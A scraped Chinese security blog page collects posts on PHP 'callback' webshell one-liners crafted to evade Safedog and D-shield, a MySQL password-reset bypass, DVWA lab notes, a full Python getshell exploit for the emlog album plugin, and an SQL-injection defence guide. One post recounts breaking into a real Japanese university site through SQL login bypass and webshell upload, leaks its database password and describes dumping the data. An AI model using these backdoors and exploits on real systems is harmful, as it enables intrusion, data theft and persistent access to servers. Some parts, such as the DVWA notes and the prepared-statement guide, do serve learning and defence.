对一个钓鱼网站的简单分析,轻松识别钓鱼网站 渗透测试

首先是其地址:http://xljjrvf.tk/ (对这些不懂得不要进去,小心你的cookies被盗)非官方QQ空间的地址:user.qzone.qq.com/xxxxxx

再看界面:

07-04-45-38.png

很像么/.?估计对于一般人来说还行,但是对于我们这些会码代码的来说,这完全不像呀...那个输入框明显的区别....主要是右上角的叉没用 -_-|

于是 Ctrl+U 如下所示:

07-04-44-36.png

很简单的两行,居然是个 内框<iframe >架嵌入. 其地址是:http://xljjrvf.tk/Login/1.html?uuuu=5&url=http://user.qzone.qq.com/403382031/4

后面的是一个地址不错,但是我查了一下,多半是他盗的.或者是一个死号.....

我们去掉后面的那一部分QQ空间代码后 访问看看:

07-04-53-36.png

这就是那个 iframe 框架标签了.URL后面随便输入返回都是这个页面,那就去掉1.html?后面的参数看看,一样,干脆一起去掉,报错了:07-04-55-40.png

是一个子目录,装的think php模板.网站物理路径也爆出来.呵呵 ....还想进一步深入么?  太困了...睡觉去..这手法,就小学生...现在的孩子都这么任性?

话说,他服务器里面是不是有很多中招的账号?想进去看的  抓紧啦!

在他的登录界面,输入账号:caonima 密码:caonima 结果第一次提示错误,第二次就正常了...说明压根就是直接就存了....那我们可以恶作剧,,

写个脚本,对其进行上万次的写入.让他去拆分真假账号吧,,,,


admin 发布于  2015-7-26 04:05 

创造tips的秘籍——PHP回调后门(转载) 渗透测试

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET'func'之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论: php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

0x01 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

这个后门,狗和盾都可以查到(但是狗不会拦截):

可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

call_userfuncarray('assert', array($_REQUEST['pass']));

call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

可见,虽然狗不杀了,D盾还是聪明地识别了出来。

看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。

0x02 数组操作造成的单参数回调后门

进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

类似array_filter,array_map也有同样功效:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_map(base64_decode($e), $arr);

依旧被D盾查杀。

果然,简单的数组回调后门,还是很容易被发现与查杀的。

0x03 php5.4.8+中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

$e = $_REQUEST['e'];

$arr = array('estt', $_REQUEST['pass']);

uasort($arr, base64_decode($e));

这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

这个后门,狗和盾是都查不出来的:

同样的道理,这个也是功能类似:

$e = $_REQUEST['e'];

$arr = array('test' => 1, $_REQUEST['pass'] => 2);

<a href="http://yidianzixun.com/m/channel/keyword/uksort" ,="" style="border: none; text-decoration: none; outline: none; font-size: 16px; color: rgb(50, 97, 163); line-height: 27.2000007629395px; font-family: Oxygen, Arial, 'Hiragino Sans GB ', 'Microsoft YaHei', 微软雅黑, STHeiti, 'WenQuanYi Micro Hei', SimSun, sans-serif; text-align: justify; white-space: normal; background-color: rgb(246, 246, 246);">uksort($arr, $e);

再给出这两个函数,面向对象的方法:

// way 0

$arr = new ArrayObject(array('test', $_REQUEST['pass']));

$arr->uasort('assert');

// way 1

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));

$arr->uksort('assert');

再来两个类似的回调后门:

$e = $_REQUEST['e'];

$arr = array(1);

$e = $_REQUEST['e'];

$arr = array($_POST['pass']);

$arr2 = array(1);

array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

0x04 三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

1. 一个参数:assert

2. 两个参数:assert (php5.4.8+)

3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk($arr, $e, '');

如图,这个后门可以在5.3下使用:

但强大的D盾还是有警觉(虽然只是等级2):

不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk_recursive($arr, $e, '');

不截图了。

看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

另一个:

e<a href="http://yidianzixun.com/m/channel/keyword/echo" ,="">cho preg_filter('|.*|e', $_REQUEST['pass'], '');

这两个一句话都是不杀的:

好用的一句话,且用且珍惜呀。

0x05 无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

ob_start('assert');

echo $_REQUEST['pass'];

ob_end_flush;

但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

即使没输出,实际代码是执行了的。也算作回调后门的一种。

0x06 单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门

$e = $_REQUEST['e'];

register_shutdown_function($e, $_REQUEST['pass']);

这个是php全版本支持的,且不报不杀稳定执行:

再来一个:

$e = $_REQUEST['e'];

declare(ticks=1);

register_tick_function ($e, $_REQUEST['pass']);

再来两个:

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

0x07 数据库操作与第三方库中的回调后门

回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

$e = $_REQUEST['e'];

$db = new PDO('sqlite:sqlite.db3');

$db->sqliteCreateFunction('myfunc', $e, 1);

$sth = $db->prepare("SELECT myfunc(:exec)");

$sth->execute(array(':exec' => $_REQUEST['pass']));

执行之:

上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

$e = $_REQUEST['e'];

$db = new SQLite3('sqlite.db3');

$db->createFunction('myfunc', $e);

$stmt = $db->prepare("SELECT myfunc(?)");

$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);

$stmt->execute;

前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。 比如php_yaml:

$str = urlencode($_REQUEST['pass']);

$yaml =

greeting: !{$str} "|.+|e"

EOD;

$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

还有php_memcached:

$mem = new Memcache;

$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));

$mem->connect($_REQUEST['pass'], 11211, 0);

自行研究吧。

0x08 其他参数型回调后门

上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

所以我们需要去“构造”一个满足条件的回调函数。

怎么构造?使用create_function:

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。 类似的,这个也同样:

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

再来一个利用CallbackFilterIterator方法的回调后门:

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));

foreach ($iterator as $item) {

echo $item;

}

这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。

0x09 后记

这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。


admin 发布于  2015-7-23 15:40 

MySQL中的一个有趣的逻辑漏洞 渗透测试

遇到MySQL中的一个有趣的逻辑漏洞,给大家分享一下.

某系统数据库是mysql。user表有个code字段,类型是int(11),这个字段是保存一个随机数,用来找回密码的时候做验证,默认值是0。

找回密码时候的步骤是,首先填写自己邮箱,接收重置密码的邮件,点击链接,访问如下代码:

if (!empty($_GET['email']) && !empty($_GET['code'])) 
{ 
    if (!$db->count('user',"email='{$_GET['email']}' AND code='{$_GET['code']}'")) 
        die('error'); 
    $_SESSION['email'] = $_GET['email']; 
    ... 
}

在数据库中查找email=$_GET['email']并且code=$_GET['code']的行数,如果行数为0则die出去,否则设置$_SESSION['email'] = $_GET['email']; 
最后就以$_SESSION['email']内存储的邮箱重置密码。 

看似似乎没问题,只有当email为你的email,并且你知道他的随机code的时候,才能不die,才能获得$_SESSION['email']。 
但关键问题就是:code的默认值是0,也就是说所有用户只要没有重置过密码,他的code就是0,所以等于说我知道了所有用户的code,那我不就可以重置所有用户的密码了吗? 

不不,等下,我们看到这行代码: 
if (!empty($_GET['email']) && !empty($_GET['code'])) 
必须要!empty($_GET['code'])的时候,才可能进入这个if语句。熟悉php的人都知道,empty(0)是返回真的。所以说,如果$_GET['code']=0的话,根本进不来这个if语句。 
那怎么办? 


又涉及到mysql一个tip,很容易犯错的点。 
我 之前说了,code这个字段的类型是整型int(11)。而在mysql里面,当字段类型为整型,而where语句中的值不为整型的时候,会被转换成整型 才放入查询。也就是说,如果where code='xxx',xxx不为整型的话,则会先将xxx转换成整数,才放入查询。 
也就是说,如果我们传入的字符串为0aaa,则会转换成0,再执行。 
我们可以来做个试验, 
0015.jpg
上图大家可以看到,select count(*) from `user` where `id`='0a';和select count(*) from `user` where `id`='0';得到的结果都是1。 

所 以通过这个tip,就可以绕过if (!empty($_GET['email']) && !empty($_GET['code'])),只要我们传入的$_GET['code']=0xxx,就可以进入if语句,并且让select count(*)语句返回1,最后找回任意用户密码,不需要爆破。

注:本文属于Mrxn网络转载,原地址:https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html


admin 发布于  2015-6-28 01:07 

十大渗透测试系统之---DVWA1.0.8练习笔记(二) 渗透测试

1.Command Execution (命令执行) --- Ping测试

我们打开dvwa后选择-Command Execution可以看到:

06-13-42-18.png

那我们在文本框随便输入一个IP看看,我输入 192.168.1.1 得到如下结果:

06-13-50-42.png

可以ping 说明是可以执行命令的 ,那我们试试加上一些命令呢? 例如加上列目录的命令 &dir (Linux下不一样  自行修改)

06-13-56-05.png

OK,至此说明命令执行测试成功,至于还可以干啥,什么命令就自己慢慢练习吧.

源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

攻防FAQ:


  命令执行(命令注入)攻击的目的,是在易受攻击的应用程序中执行攻击者指定的命令,在这样的情况下应用程序执行了不必要的命令就相当于是攻击者得到了一个系统的Shell,攻击者可以利用它绕过系统授权,基于权限继承原则,Shell将具有和应用程序一样的权限。

      命令执行是由于开发人员对用户的输入未进行严格的过滤导致,通常可以通过表单,cookie,以及http头进行操作。

      针对linux系统,我们可以使用;来实行命令执行,针对windows系统,我们可以使用&&来实行命令执行。例如: 127.0.0.1 && dir


2.Cross Site Request Forgery (CSRF--跨站请求伪造)

06-14-00-28.png

密码就自动被修改了.

其源码如下:


<pre style="overflow:auto" ;class="prettyprint lang-php linenums"> <?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE users SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>

攻防FAQ:


  跨站请求伪造(cross-site request forgery)通常缩写为XSRF,直译为跨站请求伪造,即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求,当然并不需要向用户端伪装任何 具有欺骗的内容,在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包,利用的实质是劫持用户的会话状态, 强行提交攻击者构造的具有“操作行为”的数据包。可以看出,最关键的是劫持用户的会话状态,所以说,导致XSRF漏洞的主要原因是会话状态的保持没有唯一 时间特征的标识,即是说在使用HTTPCookie传送会话令牌的过程中,应该更谨慎的判断当前用户,而不是简单的通过操作数据包的Cookie值来鉴 别,简单的说是每次数据交互时,对提交的数据包实行唯一性标识。

3.Insecure CAPTCHA (不安全的验证码)

我们需要创建一个reCAPTCHA秘钥,打开https://www.google.com/recaptcha/admin/create 即可创建,需要查资料的同学,请查看我之前发布的免费VPN:https://mrxn.net/free/173.html  或者是使用我提供的这两个:

$_DVWA['recaptcha_public_key'] = "6Lch89YSAAAAAPtf0M1lXQnqx3lBH27Syob4Xe9I";
$_DVWA['recaptcha_private_key'] = "6Lch89YSAAAAANFwnpEQMwVvCg90mzTF_FuAwcr5";

然后在更改密码输入框就会出现验证码:

06-14-33-45.png

这时候我们输入新密码 不用输入验证码就可以修改密码.

源码:

<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
    $hide_form = true;
    $user = $_POST['username'];
    $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf'];
    $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
        $_SERVER["REMOTE_ADDR"],
        $_POST["recaptcha_challenge_field"],
        $_POST["recaptcha_response_field"]);
    if (!$resp->is_valid) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;    
    } else {
            if (($pass_new == $pass_conf)){
            echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
            echo "
            <form action=\"#\" method=\"POST\">
                <input type=\"hidden\" name=\"step\" value=\"2\" />
                <input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
                <input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
                <input type=\"submit\" name=\"Change\" value=\"Change\" />
            </form>";
            }    
            else{
                    echo "<pre> Both passwords must match </pre>";
            $hide_form = false;
            }
    }
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) ) 
{
    $hide_form = true;
        if ($pass_new != $pass_conf)
        {
                echo "<pre><br />Both passwords must match</pre>";
        $hide_form = false;
                return;
        }
        $pass = md5($pass_new);
        if (($pass_new == $pass_conf)){
               $pass_new = mysql_real_escape_string($pass_new);
               $pass_new = md5($pass_new);
               $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
               $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
               echo "<pre> Password Changed </pre>";
               mysql_close();
        }
        else{
               echo "<pre> Passwords did not match. </pre>";
        }
}
?> 
攻防FAQ:

CAPTCHA 是一种人机识别的程序,用来判断访问网站的是人还是机器,你应该看到过很多网站使用了扭曲的图片或者是文字来防止"机器人"或者其它自动化的程序,CAPTCHA可以保护网站免受垃圾信息的骚扰,因为没有计算机可以识别这种技术。

CAPTCHAs通常用来保护敏感信息,防止被机器人(自动化程序)滥用,比如用户登陆,更改密码,发布内容等等。本例中CAPTCHAs保护更改管理员密码功能,它可以从一定限度上防止CSRF攻击和自动化猜解工具。

本例中的CAPTCHA很容易绕过,开发人员假设所有人都可以通过第一关的认证进行下一关,其中的密码是实际的更改,提交新密码后将直接更新到数据库中。

在低安全级别来完成此次挑战所需要的参数如下:

step=2&password_new=password&password_conf=password&Change=Change

在中安全级别,开发者试图保持会话状态并跟踪它是否完成之前提交的验证码,但是("passed_captcha")状态是在在客户端上提交,所以也可以很容易绕过:

step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change

在高安全级别,开发者移除了所有的攻击途径,处理过程得到简化,使数据和CAPTCHA验证发生在一个单一的步骤,另外开发者将状态变量存佬在服务器端。


注:都是博主自己测试玩耍的,大牛绕道.菜鸟勿喷.


admin 发布于  2015-6-25 13:38 

日本大学入侵2 解决PostgreSQL连接问题得共立女子大学数据库 渗透测试

共立女子大学的网站是http://www.kyoritsu-wu.ac.jp先是摸索这个网站的结构,Apache+php+Redhat,只能看出这么多,静态页面应该是真的。至于数据库,不能确定是MySQL。刚开始也没想到是PostgreSQL,只不过一开始好像有个直觉。大体看了下页面,然后用谷歌site语句搜索了一下

site:www.kyoritsu-wu.ac.jp inurl:.php?复制代码就几个页面而已,看了下也没什么用途。不过443端口开放开始换衣后台在其他端口,例如443端口 https://www.kyoritsu-wu.ac.jp复制代码或者有什么二级域名什么的的。不过好像搜不到这个网站的二级域名。其实最意外的是,后台暴弱,为什么我就不具体说了,后台地址嘛过几天放出。我使用 admin'or'1'='1 'or'1'='1复制代码居然登陆了后台虽然看不懂后台文字,不过“上传”还是看得懂的,webshell毫无压力当然,这里不是正文。正文是,我找到了数据库配置文件,居然连不上数据库。因为发现了phpPGAdmin,但是用这个也连不上 http://www.kyoritsu-wu.ac.jp/pgadmin/admin/复制代码我就纳闷了,5432端口明明开放,为什么连接不上呢?可能是pgadmin没配置好?自己写个程序试试? $dbconn = pg_connect("host=localhost port=5432 dbname=cms_db user=postgres password=6ewgt39c") or die('悲剧'.pg_last_error); pg_query('set client_encoding=UTF8'); $query ='select datname from pg_database;'; $result= pg_query($query) or die( '又悲剧:'.pg_last_error); while ($result && $line = pg_fetch_array($result)) { echo $line['wbtitle'].""; } pg_free_result($result); pg_close($dbconn); ?>复制代码写了段脚本,如上访问,直接就悲剧了,根本连不上。再回去看看配置信息没错啊,于是问了下核心开发群里的Juliet,她说很其实解决起来很简单5432端口开放,PostgreSQL程序运行,配置正确,但是php无法连接的情况,只要把连接语句中的主机和端口去掉连接就可以了于是写了段PostgreSQL的数据库操作脚本。Bingo! 成功。剩下的就是脱数据了 :-)又一个负责人过几天要引咎辞职了 :-(总结一下:看本文标题就知道我不是在讲入侵手法了,本文主要为解决脱裤时遇到PostgreSQL无法连接的问题,也就是本文加粗的字体部分。




admin 发布于  2015-6-10 05:00 

emlog相册插件getshell exploit 渗透测试

emlog相册插件可直接getshell 这是python的exp

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# Date: 2015/4/30

# Created by:Mrxn

# 博客 https://mrxn.net/

import sys, os, re, time


try:

    import requests

except ImportError:

    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():

    # os.system(['clear', 'cls'][os.name == 'nt'])

    print '+' + '-' * 60 + '+'

    print '\t Python emlog相册插件getshell exploit'

    print '\t   Blog:https://mrxn.net/'

    print '\t\t Code BY: Mrxn'

    print '\t\t Time:2015-05-29'

    print '+' + '-' * 60 + '+'

    if len(sys.argv) != 2:

        print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'

        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.xxxxx.cn/'

        sys.exit()


def getshell(url):

    '''

    emlog相册插件上传getshell函数

    :param url:  emlog url地址

    :return:     返回得到的shell地址

    '''

    up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'

    shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"

    filename = "oneok'.php"

    with open(filename, 'wb') as shellok:

        shellok.write(shell)

    files = {

        'Filedata': (filename, open(filename, 'rb'), 'text/json'),

        'album': (None, 'waitalone.cn')

    }

    try:

        up_res = requests.post(up_url, files=files).content

        shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)

    except Exception, msg:

        print '\n[x] 发生错误了,卧槽!!!:', msg

    else:

        if shellok: return url + shellok[0]


if __name__ == '__main__':

    usage()

    start = time.time()

    url = sys.argv[1]

    if url[-1] != '/': url += '/'

    ok = getshell(url)

    try:

        os.remove('oneok\'.php')

    except Exception:

        print '\n[x] 删除临时文件失败,请手工删除!'

    if ok:

        print '\n[!] 爷,人品暴发了,成功得到Shell: \n%s 密码:%s' % (ok, 'hstsec')

    else:

        print '\n[x] 报告大爷,本站不存在此漏洞!'

    print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

想知道修复方法么,如果你是技术屌,应该知道了,如果不是呢,回复吧 O(∩_∩)O哈哈~


admin 发布于  2015-5-29 22:51 

如何在PHP应用中防止SQL注入 渗透测试

SQL注入是一个控制数据库查询的技术,往往会导致丧失机密性。在某些情况下,如果成功执行

SELECT '<?php eval(base64_decode("someBase64EncodedDataHere"));' INTO OUTFILE '/var/www/reverse_shell.php'

将导致服务器被攻击者拿下,而代码注入(包括SQL,LDAP,操作系统命令,XPath注入技术)长年保持在OWASP漏洞排名前十。

更多人分享有关于应用安全的知识是一件极好的事。然而不幸的是,网络上流传的大部分东西(尤其是老博客文章,高搜索引擎排名)都已经过时了。虽然是无意的误导,但是却造成了很大的威胁。

如何防止SQL注入

使用预处理语句,也被称为参数化查询。例如:

$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) {
    header("Location: /blog/"); exit;
}
$posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);

在PHP应用中预处理语句过滤掉任何SQL注入的可能,无论是什么都需要先传递到$_GET变量。SQL查询语句是攻击者无法改变的(除非你将PDO::ATTR_EMULATE_PREPARES 开启了,这也意味着你还没有真正使用预处理语句)

预处理语句解决应用安全的根本问题:通过发送完全独立的包将操作指令与数据进行单独处理。这和导致堆栈溢出的问题有点类似了。

只要你没有用SQL语句连接user-provided变量和环境变量(并且保证你没有使用emulated prepares),那你就不必担心交叉SQL注入的问题了。

重要说明

预处理语句确保WEB应用与数据库服务之间的交互(即使两者不在同一台机器上,也会通过TLS进行连接)。攻击者还有可能在字段中存储一个payload,这是相当危险的,比如一个存储过程,我们称之为高阶SQL注入。

在这种情况下,我们建议不要编写存储过程,它会制造一个高阶SQL注入点。

关于输出过滤

xkcd-327.png

应该有人看到过上面这张关于SQL注入攻击的漫画吧,在一些安全会议上甚至都经常被拿来引用,尤其是写给新人的文章中。这张漫画提醒了我们要提高对 数据库查询中危险用户输入的意识,但是漫画中的建议却是过滤掉数据库输入,通过对相关问题的理解,我们知道这仅仅是一个折衷的办法。

最好忘记过滤输入

虽然可以在数据发送到数据库之前重写传入的数据流来防止攻击者的攻击,但是这个过程比较难以把控。

除非你想花时间去研究,达到完全掌握所有Unicode格式应用程序,你最好不要尝试过滤你的输入。

此外,改变你的输入数据流可能造成数据损坏。特别是在你正在处理原始二进制文件(图片,加密信息)的时候。

预处理语句能简单粗暴的防止SQL注入

XKCD作者Randall Munroe是个聪明人。如果这幅漫画直到今天才被创作出来,大概会是这个样子的

xkcd-327b.png

输入仍应进行验证

数据验证与过滤完全不是一回事,预处理语句可以防止SQL注入,然而并不能让你摆脱那些糟糕的数据。大多数情况下,会使用filter_var()

$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (empty($email)) {    
    throw new \InvalidArgumentException('Invalid email address');
}

列和表标识符

当列和表标识符作为查询语句中的一部分,你不能使用参数表示它们。如果你正在开发的这个应用需要一个动态查询结构,请使用白名单。

白名单是一个应用程序逻辑策略,它只允许少数可信的值。相对来说黑名单,仅仅是禁止已知的恶意输入。

大多数情况下,使用白名单比黑名单更安全!

$qs = 'SELECT * FROM photos WHERE album = ?';
// Use switch-case for an explicit whitelist
switch ($_POST['orderby']) {    
    case 'name':    
    case 'exifdate':    
    case 'uploaded':       
        // These strings are trusted and expected
       $qs .= ' ORDER BY '.$_POST['orderby'];
       if (!empty($_POST['asc'])) {
           $qs .= ' ASC';
       } else {           
           $qs .= ' DESC';
       }    
    default:       
    // Some other value was passed. Let's just order by photo ID in descending order.
       $qs .= ' ORDER BY photoid DESC';
}$stmt = $db->prepare($qs)
    ;if ($stmt->execute([$_POST['album_id']])) {    
    $photos = $stmt->fetchAll(\PDO::FETCH_ASSOC); 
}

使用预处理语句看起来很麻烦?

开发者第一次遇到预处理语句,对于需要写大量的冗余代码而感到沮丧(提取,执行,取回;提取,执行,取回;….令人厌烦)

由此,EasyDB[https://github.com/paragonie/easydb]诞生了。

如何使用EasyDB

这里有两种方法。

  1. 你可以使用EasyDB包含你的PDO

  2. 如果你熟悉PDO构造,你可以使用ParagonIE\EasyDB\Factory::create()参数来进行替代

// First method:
$pdo = new \PDO('mysql;host=localhost;dbname=something', 'username', 'putastrongpasswordhere');
$db = \ParagonIE\EasyDB\EasyDB($pdo, 'mysql');
// Second method:
$db = \ParagonIE\EasyDB\Factory::create('mysql;host=localhost;dbname=something', 'username', 'putastrongpasswordhere');

如果有一个EasyDB对象,你可以开始利用它的快速开发安全数据库应用程序。

预处理语句:安全数据库查询

$data = $db->safeQuery(    
    'SELECT * FROM transactions WHERE type = ? AND amount >= ? AND date >= ?', 
    [
        $_POST['ttype'],        
        $_POST['minimum'],        
        $_POST['since']
    ]
);

从一个数据库表中选择多行

$rows = $db->run(
     'SELECT * FROM comments WHERE blogpostid = ? ORDER BY created ASC',     
     $_GET['blogpostid']
);
     foreach ($rows as $row) {
         $template_engine->render('comment', $row);
}

从数据库表中选择一行

$userData = $db->row(
    "SELECT * FROM users WHERE userid = ?",    
    $_GET['userid']
);

向数据库表中插入新的一行

$db->insert('comments', [
    'blogpostid' => $_POST['blogpost'],    
    'userid' => $_SESSION['user'],    
    'comment' => $_POST['body'],    
    'parent' => isset($_POST['replyTo']) ? $_POST['replyTo'] : null
    ]);

动态查询中躲避标识符(列/表/视图名)

$qs = 'SELECT * FROM some_table';
$and = false;
if (!empty($where)) {    
    $qs .= ' WHERE ';    
    foreach (\array_keys($where) as $column) {        
    if (!\in_array($column, $whiteListOfColumnNames)) {            
    continue;
        }        
    if ($and) {            
    $qs .= ' AND ';
        }        
    $qs .= $db->escapeIdentifier($column).' = ?';        
    $and = true;
    }
}$qs .= ' ORDER BY rowid DESC';
// And then to fetch some data
$data = $db->run($qs, \array_values($where);

警告:escapeIdentifier() 方法意味着输入不应该被转义。

安全从开发人员开始!


admin 发布于  2015-5-29 22:07 

如何绕过WAF?Mrxn总结如下一些技巧 渗透测试

WAF介绍

什么是WAF?

WAF--俗称“Dog” --WEB_Dog ----Web应用防火墙。

